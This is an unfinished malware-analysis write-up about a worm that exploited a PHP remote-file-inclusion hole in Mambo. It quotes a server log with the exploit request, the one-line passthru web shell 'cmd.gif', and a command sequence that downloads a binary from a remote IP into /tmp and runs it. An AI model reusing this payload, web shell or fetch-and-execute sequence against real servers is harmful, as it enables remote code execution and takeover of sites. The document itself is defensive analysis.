Mambo Vulnerability Analysis

by Javantea aka. Joel R. Voss
Analysis: Jun 16, 2004
Write-up: Sept 8, 2006
Botnets
Mambo Official Homepage

Introduction

A worm is currently spreading which targets a vulnerability in Mambo. The worm uses simple techniques to spread and leaves a mark on servers that do not have Mambo installed. The vulnerability is caused by a feature in PHP that allows remote inclusion of files. This allows arbitrary remote execution of PHP code. The payload is currently not known.

Methods of Mambo Worm

Server logs from suzy.altsci.com (a development server) showed obvious signs of exploit attempts. Looking closer, it gives us markers that identify it as a Mambo worm. The virus includes cmd.gif from a remote site, which simply executes arbitrary commands in a shell using the passthru function. The command that it executes quite simply grabs the payload and then executes it.

Data

210.202.197.100 - - [11/Jun/2006:11:37:57 -0700] "GET /index2.php?option=com_content&do_pdf=1& id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1& GLOBALS=&mosConfig_absolute_path=http://72.18.195.161/cmd.gif?& cmd=cd%20/tmp;wget%2072.18.195.161/lnikon;chmod%20744%20lnikon;./lnikon; echo%20YYY;echo| HTTP/1.1" 404 284

cmd.gif Source:

<?php
  // CMD - To Execute Command on File Injection Bug ( gif - jpg - txt )
   passthru($_GET['cmd'] . " 2>&1");
?<
Commands Executed:
cd /tmp
wget 72.18.195.161/lnikon
chmod 744 lnikon
./lnikon
echo YYY
echo|

Analysis

Unfinished.

Conclusion

Unfinished.